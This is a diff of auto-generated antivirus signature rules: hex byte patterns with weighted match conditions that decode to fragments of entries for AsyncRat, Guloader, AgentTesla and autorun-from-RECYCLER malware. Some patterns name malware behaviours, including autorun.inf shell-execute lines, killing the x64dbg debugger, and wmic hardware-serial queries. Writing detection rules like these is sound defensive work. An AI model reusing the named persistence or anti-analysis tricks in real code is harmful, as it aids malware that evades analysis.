73 65 74 75 70 5f 6c 6f 67 6f 2e 70 6e 67 00 00 78 ce 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 } //384 + $a_6c_5 = {61 64 65 72 2e 4c 52 4a 30 31 21 4d 54 42 00 01 00 13 81 01 6e 79 74 61 61 72 73 61 66 74 6e 65 72 6e 65 2e 74 78 74 01 00 11 81 01 74 76 72 72 65 74 6e 69 6e 67 65 6e 73 2e 6c 69 65 01 00 0c 81 01 73 61 78 6f 6e 69 65 73 2e 6a 70 67 01 00 14 81 01 42 6c 65 6e 6e 69 69 66 6f 72 6d 65 73 32 32 33 2e 6a 70 67 01 00 0e 81 01 43 79 63 6c 6f 73 74 6f 6d } //18223 + $a_6f_6 = {01 00 0d 81 01 54 72 75 6d 66 65 64 65 73 2e 6b 61 73 01 00 11 81 01 55 6e 64 69 73 74 72 65 73 73 31 38 38 2e 69 6e 69 01 00 0e 81 01 5c 4d 61 75 64 6c 69 6e 6c 79 2e 44 61 61 00 00 78 ce 00 00 09 00 09 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a } //11881 + $a_36_7 = {2f 41 73 79 6e 63 52 61 74 2e 43 43 49 51 21 4d 54 42 00 05 00 17 01 74 61 73 6b 6b 69 6c 6c 20 2f 49 4d 20 78 36 34 64 62 67 2e 65 78 65 01 00 26 01 77 6d 69 63 20 64 69 73 6b 64 72 69 76 65 20 67 65 74 20 6d 6f 64 65 6c 2c 20 73 65 72 69 61 6c 6e 75 6d 62 65 72 01 00 19 01 77 6d 69 63 20 63 70 75 20 67 65 74 20 73 65 72 69 61 } //26967 + $a_6d_8 = {65 72 01 00 1a 01 77 6d 69 63 20 62 69 6f 73 20 67 65 74 20 73 65 72 69 61 6c 6e 75 6d 62 65 72 01 00 1d 01 5b 30 6d 20 4d 4f 54 48 45 52 42 4f 41 52 44 20 53 65 72 69 61 6c 20 4e 75 6d 62 65 72 00 00 78 ce 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 52 49 30 31 21 4d 54 42 00 01 00 0b 81 01 64 61 6d } //28268 condition: - ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*28530+(#a_46_2 & 1)*28532+(#a_61_3 & 1)*17518+(#a_76_4 & 1)*384+(#a_6e_5 & 1)*22330+(#a_72_6 & 1)*29472+(#a_65_7 & 1)*16687) >=6 + ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*28530+(#a_46_2 & 1)*28532+(#a_61_3 & 1)*17518+(#a_76_4 & 1)*384+(#a_6c_5 & 1)*18223+(#a_6f_6 & 1)*11881+(#a_36_7 & 1)*26967+(#a_6d_8 & 1)*28268) >=6 } -rule _InfrastructureShared_14021{ +rule _InfrastructureShared_14945{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " strings : $a_41_0 = {42 6c 6f 63 6b 3a 4d 75 6c 74 69 53 65 74 75 70 00 01 00 1c 80 01 6f 66 66 65 72 73 52 65 6a 65 63 74 69 6f 6e 44 69 61 6c 6f 67 4d 65 73 73 61 67 65 01 00 1a 80 01 6f 66 66 65 72 73 52 65 6a 65 63 74 69 6f 6e 44 69 61 6c 6f 67 54 69 74 6c 65 01 00 0c 80 } //20515 - $a_72_1 = {66 66 65 72 4e 65 78 74 01 00 19 80 01 6d 73 67 53 63 72 65 65 6e 4f 66 66 65 72 44 65 73 63 72 69 70 74 69 6f 6e 01 00 0a 80 01 75 73 65 64 4f 66 66 65 72 73 01 00 14 80 01 41 76 61 73 74 20 46 72 65 65 20 41 6e 74 69 76 69 72 75 73 01 00 13 80 01 6d 75 6c 74 69 73 65 74 75 70 5f 6c 6f 67 6f 2e 70 6e 67 00 00 78 ce 00 00 09 00 09 00 05 00 21 23 54 45 } //26625 - $a_72_2 = {6a 61 6e 3a 57 69 6e 36 34 2f 41 73 79 6e 63 52 61 74 2e 43 43 49 51 21 4d 54 42 00 05 00 17 01 74 61 73 6b 6b 69 6c 6c 20 2f 49 4d 20 78 36 34 64 62 67 2e 65 78 65 01 00 26 01 77 6d 69 63 20 64 69 73 6b 64 72 69 76 65 20 67 65 74 20 6d 6f 64 65 6c 2c } //14924 - $a_72_3 = {61 6c 6e 75 6d 62 65 72 01 00 19 01 77 6d 69 63 20 63 70 75 20 67 65 74 20 73 65 72 69 61 6c 6e 75 6d 62 65 72 01 00 1a 01 77 6d 69 63 20 62 69 6f 73 20 67 65 74 20 73 65 72 69 61 6c 6e 75 6d 62 65 72 01 00 1d 01 5b 30 6d 20 4d 4f 54 48 45 52 42 4f 41 52 44 20 53 65 72 69 61 6c 20 4e 75 6d 62 65 72 00 } //29472 - $a_00_4 = {00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 42 50 21 4d 54 42 00 01 00 0b 80 01 50 45 46 69 6c 65 4b 69 6e 64 73 01 00 0f 80 01 4f 66 66 73 65 74 4d 61 72 73 68 61 6c 65 72 01 00 0d 80 01 52 65 74 75 72 6e 4d 65 73 73 61 67 65 01 00 06 80 01 49 6e 76 6f 6b 65 01 00 06 80 01 4d 43 43 43 43 43 01 00 07 80 01 4d 43 43 43 43 43 31 01 00 07 80 01 52 65 76 65 72 73 65 01 00 1c 80 01 50 45 46 69 6c 65 4b 69 6e 64 73 2e 4d 43 43 43 43 43 2e 72 65 73 6f 75 72 63 65 73 01 00 07 80 01 47 65 74 54 79 70 65 01 00 09 80 01 47 65 74 4d 65 74 68 6f 64 00 } //30720 - $a_00_5 = {00 0b 00 0b 00 04 00 21 23 48 53 54 52 3a 41 75 74 6f 72 75 6e 46 72 6f 6d 52 65 63 79 63 6c 65 72 00 0a 00 12 00 5b 00 61 00 75 00 74 00 6f 00 72 00 75 00 6e 00 5d 00 01 00 30 00 73 00 68 00 65 00 6c 00 6c 00 65 00 78 00 65 00 63 00 75 00 74 00 65 00 3d 00 2e 00 5c 00 52 00 45 00 43 00 59 00 43 00 4c 00 45 00 52 00 5c 00 01 00 39 02 73 00 68 00 65 00 6c 00 6c 00 5c 00 90 02 04 5c 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 3d 00 2e 00 5c 00 52 00 45 00 43 00 59 00 43 00 4c 00 45 00 52 00 5c 00 90 00 01 00 20 00 6f 00 70 00 65 00 6e 00 3d 00 2e 00 5c 00 52 00 45 00 43 00 59 00 43 00 4c 00 45 00 52 00 5c 00 00 } //30720 - $a_00_6 = {00 0b 00 0b 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 53 21 4d 54 42 00 03 00 28 01 21 54 68 69 73 20 70 79 76 6e 79 68 74 27 63 61 6e 6e 6f 74 20 69 6c 27 79 7c 75 27 69 6e 20 44 4f 53 20 74 76 6b 6c 35 02 00 0c 01 6b 65 72 6e 65 79 40 3f 3b 71 79 73 02 00 09 01 6e 74 64 6c 72 34 71 79 79 01 00 18 01 62 61 63 6b 75 70 4f 66 4f 72 69 67 69 6e 61 6c 46 69 6c 65 4e 61 6d 65 01 00 10 01 6f 72 69 67 69 6e 61 6c 46 69 6c 65 4e 61 6d 65 01 00 11 01 47 65 74 52 61 6e 64 6f 6d 46 69 6c 65 4e 61 6d 65 01 00 0c 01 74 65 6d 70 46 69 6c 65 4e 61 6d 65 00 } //30720 + $a_72_1 = {66 66 65 72 4e 65 78 74 01 00 19 80 01 6d 73 67 53 63 72 65 65 6e 4f 66 66 65 72 44 65 73 63 72 69 70 74 69 6f 6e 01 00 0a 80 01 75 73 65 64 4f 66 66 65 72 73 01 00 14 80 01 41 76 61 73 74 20 46 72 65 65 20 41 6e 74 69 76 69 72 75 73 01 00 13 80 01 6d 75 6c 74 69 73 65 74 75 70 5f 6c 6f 67 6f 2e 70 6e 67 00 00 78 ce 00 00 08 00 08 00 08 00 21 23 48 53 } //26625 + $a_57_2 = {6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 52 4a 30 31 21 4d 54 42 00 01 00 13 81 01 6e 79 74 61 61 72 73 61 66 74 6e 65 72 6e 65 2e 74 78 74 01 00 11 81 01 74 76 72 72 65 74 } //21076 + $a_67_3 = {6e 73 2e 6c 69 65 01 00 0c 81 01 73 61 78 6f 6e 69 65 73 2e 6a 70 67 01 00 14 81 01 42 6c 65 6e 6e 69 69 66 6f 72 6d 65 73 32 32 33 2e 6a 70 67 01 00 0e 81 01 43 79 63 6c 6f 73 74 6f 6d 69 2e 54 6f 74 01 00 0d 81 01 54 72 75 6d 66 65 64 65 73 2e 6b 61 73 01 00 11 81 01 55 6e 64 69 73 74 72 65 73 73 31 38 38 2e 69 6e 69 01 00 0e } //26990 + $a_4d_4 = {75 64 6c 69 6e 6c 79 2e 44 61 61 00 00 78 ce 00 00 09 00 09 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 41 73 79 6e 63 52 61 74 2e 43 43 49 51 21 4d 54 42 00 05 00 17 01 74 61 73 6b 6b 69 6c 6c 20 2f 49 4d 20 78 36 34 64 62 67 2e 65 78 65 01 00 26 01 77 } //385 + $a_20_5 = {69 73 6b 64 72 69 76 65 20 67 65 74 20 6d 6f 64 65 6c 2c 20 73 65 72 69 61 6c 6e 75 6d 62 65 72 01 00 19 01 77 6d 69 63 20 63 70 75 20 67 65 74 20 73 65 72 69 61 6c 6e 75 6d 62 65 72 01 00 1a 01 77 6d 69 63 20 62 69 6f 73 20 67 65 74 20 73 65 72 69 61 6c 6e 75 6d 62 65 72 01 00 1d 01 5b 30 6d 20 } //26989 + $a_48_6 = {52 42 4f 41 52 44 20 53 65 72 69 61 6c 20 4e 75 6d 62 65 72 00 00 78 ce 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 52 49 30 31 21 4d 54 42 00 01 00 0b 81 01 64 61 6d 6d 75 73 6c 69 6e 67 73 01 00 0d 81 } //20301 condition: - ((#a_41_0 & 1)*20515+(#a_72_1 & 1)*26625+(#a_72_2 & 1)*14924+(#a_72_3 & 1)*29472+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720+(#a_00_6 & 1)*30720) >=7 + ((#a_41_0 & 1)*20515+(#a_72_1 & 1)*26625+(#a_57_2 & 1)*21076+(#a_67_3 & 1)*26990+(#a_4d_4 & 1)*385+(#a_20_5 & 1)*26989+(#a_48_6 & 1)*20301) >=7 } -rule _InfrastructureShared_14022{ +rule _InfrastructureShared_14946{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 52 4a 30 31 21 4d 54 42 00 01 00 13 81 01 6e 79 74 61 61 72 73 61 66 74 6e 65 72 6e 65 2e 74 78 74 01 00 11 81 01 74 76 72 72 65 74 6e 69 6e 67 65 6e 73 2e 6c 69 65 01 00 0c 81 01 73 61 78 6f 6e 69 } //18467 + $a_6a_1 = {67 01 00 14 81 01 42 6c 65 6e 6e 69 69 66 6f 72 6d 65 73 32 32 33 2e 6a 70 67 01 00 0e 81 01 43 79 63 6c 6f 73 74 6f 6d 69 2e 54 6f 74 01 } //29541 + $a_01_2 = {54 72 75 6d 66 65 64 65 73 2e 6b 61 73 01 00 11 81 01 55 6e 64 69 73 74 72 65 73 73 31 38 38 2e 69 6e 69 01 00 0e 81 01 5c 4d 61 75 64 6c 69 6e 6c 79 2e 44 61 61 00 00 78 ce 00 00 09 00 09 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 41 73 79 6e 63 52 61 74 2e 43 43 49 51 21 4d 54 42 00 05 00 17 01 74 61 73 6b 6b 69 6c 6c 20 2f 49 4d 20 78 36 34 64 62 67 2e 65 78 } //3328 + $a_63_4 = {64 69 73 6b 64 72 69 76 65 20 67 65 74 20 6d 6f 64 65 6c 2c 20 73 65 72 69 61 6c 6e 75 6d 62 65 72 01 00 19 01 77 6d 69 63 20 63 70 75 20 67 65 74 20 73 65 72 69 61 6c 6e 75 6d 62 65 72 01 00 1a 01 77 6d 69 63 20 62 69 6f 73 20 67 65 74 20 73 65 72 69 61 6c 6e 75 6d 62 65 72 01 00 1d 01 5b 30 6d 20 4d 4f 54 48 45 } //28023 + $a_41_5 = {44 20 53 65 72 69 61 6c 20 4e 75 6d 62 65 72 00 00 78 ce 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 52 49 30 31 21 4d 54 42 00 01 00 0b 81 01 64 61 6d 6d 75 73 6c 69 6e 67 73 01 00 0d 81 } //16978 + $a_64_6 = {61 67 74 65 73 2e 6a 70 67 01 00 13 81 01 61 67 69 6c 6d 65 6e 74 65 20 62 6c 64 61 67 74 69 67 65 01 00 0a 81 01 61 6d 61 67 65 72 6d 61 64 73 01 00 12 81 01 6b 6f 6d 6d 61 6e 64 6f 74 61 73 74 65 6e 2e 73 74 79 01 00 10 81 01 74 61 6c 6c 6f 74 74 65 72 69 65 74 2e 69 6e 69 01 00 0c 81 01 66 6e 67 73 65 6c 65 74 2e 69 6e 64 01 } //29953 + $a_01_7 = {62 61 72 64 75 73 2e 68 6f 76 01 00 0c 81 01 48 69 64 68 72 74 65 73 2e 74 78 74 00 00 78 ce 00 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 42 50 21 4d 54 42 00 01 00 0b 80 01 50 45 46 69 6c 65 4b 69 6e 64 73 01 00 0f 80 01 4f 66 66 73 65 74 4d 61 72 73 68 61 6c 65 72 01 00 0d 80 01 52 65 74 75 72 6e 4d 65 73 73 } //2560 + condition: + ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*29541+(#a_01_2 & 1)*3328+(#a_63_4 & 1)*28023+(#a_41_5 & 1)*16978+(#a_64_6 & 1)*29953+(#a_01_7 & 1)*2560) >=8 + +} +rule _InfrastructureShared_14947{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 05 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 41 73 79 6e 63 52 61 74 2e 43 43 49 51 21 4d 54 42 00 05 00 17 01 74 61 73 6b 6b 69 6c 6c 20 2f 49 4d 20 78 36 34 64 62 67 2e 65 78 65 01 00 26 01 77 6d 69 63 20 64 69 } //21539 $a_72_1 = {76 65 20 67 65 74 20 6d 6f 64 65 6c 2c 20 73 65 72 69 61 6c 6e 75 6d 62 65 72 01 00 19 01 77 6d 69 63 20 63 70 75 20 67 65 74 20 73 65 72 69 61 6c 6e 75 6d 62 65 72 01 00 1a 01 77 6d 69 63 20 62 69 6f 73 20 67 65 74 20 73 65 72 69 61 6c 6e 75 6d 62 65 72 01 00 1d 01 5b 30 6d 20 4d 4f 54 48 45 52 42 } //27507 - $a_44_2 = {53 65 72 69 61 6c 20 4e 75 6d 62 65 72 00 00 78 ce 00 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 42 50 21 4d 54 42 00 01 00 0b 80 01 50 45 46 69 6c 65 4b 69 6e 64 73 01 00 } //16719 - $a_4f_3 = {66 } //-32753 f - $a_4d_4 = {72 73 68 61 6c 65 72 01 00 0d 80 01 52 65 74 75 72 6e 4d 65 73 73 61 67 65 01 00 06 80 01 49 6e 76 6f 6b 65 01 00 06 80 01 4d 43 43 43 43 43 01 00 07 80 01 4d 43 43 43 43 43 31 01 00 07 80 01 52 65 76 65 72 73 65 01 00 1c 80 01 50 45 46 69 6c 65 4b 69 6e 64 73 2e 4d 43 43 43 43 43 2e 72 65 73 6f 75 72 63 65 73 01 00 07 80 01 47 65 74 54 79 70 65 } //25971 + $a_44_2 = {53 65 72 69 61 6c 20 4e 75 6d 62 65 72 00 00 78 ce 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 52 49 30 31 21 4d 54 42 00 01 00 0b 81 01 64 61 6d 6d 75 73 6c 69 6e 67 73 01 00 0d 81 01 75 6e 64 73 } //16719 + $a_65_3 = {2e 6a 70 67 01 00 13 81 01 61 67 69 6c 6d 65 6e 74 65 20 62 6c 64 61 67 74 69 67 65 01 00 0a 81 01 61 6d 61 67 65 72 6d 61 64 73 01 00 12 81 01 6b 6f 6d 6d 61 6e 64 6f 74 61 73 74 65 6e 2e 73 74 79 01 00 10 81 01 74 61 6c 6c 6f 74 74 65 72 69 65 74 2e 69 6e 69 01 00 0c 81 01 66 6e 67 73 65 6c 65 74 2e 69 6e 64 01 00 0a 81 01 62 61 72 64 75 73 2e } //26465 + $a_01_4 = {00 0c 81 01 48 69 64 68 72 74 65 73 2e 74 78 74 00 00 78 ce 00 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 42 50 21 4d 54 42 00 01 00 0b 80 01 50 45 46 69 6c 65 4b 69 6e 64 73 01 00 0f 80 01 4f 66 66 73 65 74 4d 61 72 73 68 61 6c 65 72 01 00 0d 80 01 52 65 74 75 72 6e 4d 65 73 73 } //28520 condition: - ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*27507+(#a_44_2 & 1)*16719+(#a_4f_3 & 1)*-32753+(#a_4d_4 & 1)*25971) >=9 + ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*27507+(#a_44_2 & 1)*16719+(#a_65_3 & 1)*26465+(#a_01_4 & 1)*28520) >=9 } -rule _InfrastructureShared_14023{ +rule _InfrastructureShared_14948{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 52 49 30 31 21 4d 54 42 00 01 00 0b 81 01 64 61 6d 6d 75 73 6c 69 6e 67 73 01 00 0d 81 01 75 6e 64 73 61 67 74 65 73 2e 6a 70 67 01 00 13 81 01 61 67 69 6c 6d 65 6e 74 65 20 62 6c 64 61 67 74 69 67 } //18467 + $a_6d_2 = {67 65 72 6d 61 64 73 01 00 12 81 01 6b 6f 6d 6d 61 6e 64 6f 74 61 73 74 65 6e 2e 73 74 79 01 00 10 81 01 74 61 6c 6c 6f 74 74 65 72 69 65 74 2e 69 6e 69 01 00 0c 81 01 66 6e 67 73 65 6c 65 74 2e 69 6e 64 01 00 0a 81 01 62 61 72 64 75 73 2e 68 6f 76 01 00 0c 81 01 48 69 64 68 72 74 65 73 2e } //385 + $a_00_3 = {00 78 ce 00 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 42 50 21 4d 54 42 00 01 00 0b 80 01 50 45 46 69 6c 65 4b 69 6e 64 73 01 00 0f 80 01 4f 66 66 73 65 74 4d 61 72 73 68 61 6c 65 72 01 00 0d 80 01 52 65 74 75 72 6e 4d 65 73 73 61 67 65 01 00 06 80 01 49 6e 76 6f 6b 65 01 } //30836 + $a_01_4 = {4d 43 43 43 43 43 01 00 07 80 01 4d 43 43 43 43 43 31 01 00 07 80 01 52 65 76 65 72 73 65 01 00 1c 80 01 50 45 46 69 6c 65 4b 69 6e 64 73 2e 4d 43 43 43 43 43 2e 72 65 73 6f 75 72 63 65 73 01 00 07 80 01 47 65 74 54 79 70 65 01 00 09 80 01 47 65 74 4d 65 74 68 6f 64 00 00 78 ce 00 00 0b 00 0b 00 04 00 21 23 48 53 54 52 3a 41 75 74 6f 72 75 6e 46 72 6f 6d 52 65 63 79 63 6c 65 72 00 } //1536 + $a_00_5 = {5b 00 61 00 75 00 74 00 6f 00 72 00 75 00 6e 00 5d 00 } //10 [autorun] + $a_00_6 = {73 00 68 00 65 00 6c 00 6c 00 65 00 78 00 65 00 63 00 75 00 74 00 65 00 3d 00 2e 00 5c 00 52 00 45 00 43 00 59 00 43 00 4c 00 45 00 52 00 5c 00 } //1 shellexecute=.\RECYCLER\ + $a_02_7 = {73 00 68 00 65 00 6c 00 6c 00 5c 00 [0-04] 5c 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 3d 00 2e 00 5c 00 52 00 45 00 43 00 59 00 43 00 4c 00 45 00 52 00 5c 00 } //1 + $a_00_8 = {6f 00 70 00 65 00 6e 00 3d 00 2e 00 5c 00 52 00 45 00 43 00 59 00 43 00 4c 00 45 00 52 00 5c 00 } //1 open=.\RECYCLER\ + condition: + ((#a_54_0 & 1)*18467+(#a_6d_2 & 1)*385+(#a_00_3 & 1)*30836+(#a_01_4 & 1)*1536+(#a_00_5 & 1)*10+(#a_00_6 & 1)*1+(#a_02_7 & 1)*1+(#a_00_8 & 1)*1) >=9 + +} +rule _InfrastructureShared_14949{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -159610,7 +170350,7 @@ rule _InfrastructureShared_14023{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*24947+(#a_00_3 & 1)*0+(#a_6f_4 & 1)*30017+(#a_00_5 & 1)*109+(#a_41_6 & 1)*19529+(#a_20_7 & 1)*26919+(#a_70_8 & 1)*25972+(#a_00_9 & 1)*32) >=10 } -rule _InfrastructureShared_14024{ +rule _InfrastructureShared_14950{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " @@ -159622,7 +170362,7 @@ rule _InfrastructureShared_14024{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*89+(#a_00_2 & 1)*144) >=11 } -rule _InfrastructureShared_14025{ +rule _InfrastructureShared_14951{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 07 00 21 " @@ -159638,7 +170378,7 @@ rule _InfrastructureShared_14025{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29285+(#a_00_2 & 1)*13+(#a_53_3 & 1)*14958+(#a_28_4 & 1)*0+(#a_6c_5 & 1)*384+(#a_00_6 & 1)*1) >=11 } -rule _InfrastructureShared_14026{ +rule _InfrastructureShared_14952{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -159650,24 +170390,35 @@ rule _InfrastructureShared_14026{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*22788+(#a_32_3 & 1)*12801) >=13 } -rule _InfrastructureShared_14027{ +rule _InfrastructureShared_14953{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 0a 00 21 " strings : $a_6c_0 = {77 4c 69 73 74 3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 4f 70 65 6e 43 61 6e 64 79 00 0a 00 10 02 4f 43 53 65 74 75 70 90 01 03 2e 64 6c 6c 90 00 05 00 09 00 4f 70 65 6e 43 61 6e 64 79 01 00 0e 00 4f 43 45 78 65 63 75 74 65 4f 66 66 65 72 01 00 0f 00 4f 43 47 65 74 4f 66 66 65 72 53 74 61 74 65 01 00 0e 00 4f 43 47 65 } //16675 - $a_66_1 = {72 54 79 70 65 01 00 09 00 4f 43 49 6e 6e 6f 41 64 6a 01 00 0e 00 4f 43 43 68 65 63 6b 46 6f 72 49 6e 66 6f 01 00 0e 00 4f 43 43 68 65 63 6b 46 6f 72 4c 69 6e 6b 01 00 08 00 4f 43 44 65 74 61 63 68 01 00 09 00 4f 43 44 69 73 70 6c 61 79 00 00 78 ce 00 00 58 02 58 02 06 00 21 23 41 4c 46 3a 48 61 63 6b 54 } //20340 - $a_3a_2 = {53 49 4c 2f 41 64 64 4c 6f 6f 6b 6f 75 74 2e 41 21 64 68 61 00 64 00 0d 01 52 65 67 69 73 74 65 72 41 64 64 69 6e 64 00 0f 01 44 65 72 65 67 69 73 74 65 72 41 64 64 69 6e 64 00 0d 01 41 53 53 45 4d 42 4c 59 5f 4e 41 4d 45 64 00 0c 01 41 53 53 45 4d 42 4c 59 5f 44 4c 4c 64 00 14 01 49 4d 50 4c 45 4d 45 4e 54 45 44 5f 43 41 } //28527 䥓⽌摁䱤潯潫瑵䄮搡慨搀ഀ刁来獩整䅲摤湩dď敄敲楧瑳牥摁楤摮ഀ䄁卓䵅䱂彙䅎䕍dČ十䕓䉍奌䑟䱌dĔ䵉䱐䵅久䕔彄䅃 - $a_4f_3 = {59 64 00 40 01 45 00 78 00 63 00 65 00 70 00 74 00 69 00 6f 00 6e 00 3a 00 20 00 6f 00 75 00 74 00 6c 00 6f 00 6f 00 6b 00 20 00 6e 00 6f 00 74 00 20 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 65 00 64 00 00 00 } //17748 - $a_00_5 = {02 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 53 65 6c 65 63 74 53 63 6f 6f 70 2e 41 21 64 68 61 00 64 00 78 01 7b 00 7b 00 22 00 66 00 69 00 6c 00 65 00 6e 00 61 00 6d 00 65 00 22 00 3a 00 20 00 22 00 7b 00 30 00 7d 00 22 00 2c 00 20 00 22 00 66 00 69 00 6c 00 65 00 73 00 69 00 7a 00 65 00 22 00 3a 00 20 00 7b 00 31 00 7d 00 20 00 2c 00 22 00 75 00 70 00 64 00 61 00 74 00 65 00 74 00 69 00 6d 00 65 00 22 00 3a 00 20 00 22 00 7b 00 32 00 7d 00 22 00 7d 00 7d 00 2c 00 64 00 20 01 43 00 6f 00 6e 00 66 00 69 00 67 00 20 00 6e 00 6f 00 74 00 20 00 66 00 6f 00 75 00 6e 00 64 00 } //200 - $a_cf_6 = {00 01 00 01 00 01 00 21 23 4c 6f 77 66 69 3a 48 53 54 52 3a 57 69 6e 33 32 2f 52 65 6d 6f 74 65 46 69 6c 65 4d 61 6e 61 67 65 72 00 01 00 9e 01 40 00 2a 00 5c 00 41 00 43 00 3a 00 5c 00 55 00 73 00 65 00 72 00 73 00 5c 00 57 00 6f 00 72 00 6c 00 64 00 5c 00 44 00 65 00 73 00 6b 00 74 00 6f 00 70 00 5c 00 5f 00 5f 00 52 00 65 00 6d 00 6f 00 74 00 65 00 5f 00 } //0 - $a_00_7 = {36 00 37 00 38 00 39 00 32 00 31 00 32 00 31 00 32 00 30 00 30 00 33 00 5c 00 43 00 6c 00 69 00 65 00 6e 00 74 00 5c 00 52 00 65 00 6d 00 6f 00 74 } //70 - $a_00_9 = {65 00 4d 00 61 00 6e 00 61 00 67 00 65 00 72 00 2e 00 76 00 62 00 70 00 00 00 78 cf 00 00 01 00 01 00 04 00 21 23 48 53 54 52 3a 4e 65 74 6f 73 68 61 66 69 72 2e 41 32 00 01 00 5c 01 33 43 41 38 43 39 32 42 34 37 41 42 33 33 34 36 41 42 43 31 32 42 34 38 38 31 44 36 37 41 44 42 37 39 44 41 37 32 44 36 30 31 36 41 45 35 36 } //105 + $a_66_1 = {72 54 79 70 65 01 00 09 00 4f 43 49 6e 6e 6f 41 64 6a 01 00 0e 00 4f 43 43 68 65 63 6b 46 6f 72 49 6e 66 6f 01 00 0e 00 4f 43 43 68 65 63 6b 46 6f 72 4c 69 6e 6b 01 00 08 00 4f 43 44 65 74 61 63 68 01 00 09 00 4f 43 44 69 73 70 6c 61 79 00 00 78 ce 00 00 46 00 46 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 } //20340 + $a_69_2 = {33 32 2f 53 74 65 61 6c 65 72 2e 41 48 42 21 4d 54 42 00 28 00 2c 01 8b bd cc fb ff ff 6b c0 09 0f b6 bc 38 20 d6 55 00 8b c7 89 bd cc fb ff ff 8b bd f0 fb ff ff c1 e8 04 89 85 cc fb ff ff 83 f8 08 0f 14 00 32 01 b9 7b 00 00 00 66 89 47 0a 8d 47 0c 66 89 08 b9 } //14958 + $a_3c_4 = {66 89 4f 32 66 89 4f 28 6a 00 66 89 4f 1e 6a 00 c7 47 56 7d 00 00 00 ff 15 0a 00 39 03 c6 84 24 88 01 00 00 27 89 74 24 30 c6 84 24 88 01 00 00 25 c7 44 24 54 90 01 04 c6 84 24 88 01 00 00 25 89 74 24 54 c6 84 24 88 01 00 00 24 8d 8c 24 } //-30362 + $a_00_7 = {00 58 02 58 02 06 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 41 64 64 4c 6f 6f 6b 6f 75 74 2e 41 21 64 68 61 00 64 00 0d 01 52 65 67 69 73 74 65 72 41 64 64 69 6e 64 00 0f 01 44 65 72 65 67 69 73 74 65 72 41 64 64 69 6e 64 00 0d 01 41 53 53 45 4d 42 4c 59 5f 4e 41 4d 45 64 00 0c 01 41 53 53 45 4d 42 4c 59 5f 44 4c 4c 64 00 14 01 49 4d 50 4c 45 4d 45 4e 54 45 44 5f 43 41 54 45 47 4f 52 59 64 00 40 01 45 00 78 00 63 00 65 00 70 00 74 00 69 00 6f 00 6e 00 3a 00 20 00 6f 00 75 00 74 00 6c 00 6f 00 6f 00 6b 00 20 00 6e 00 6f 00 74 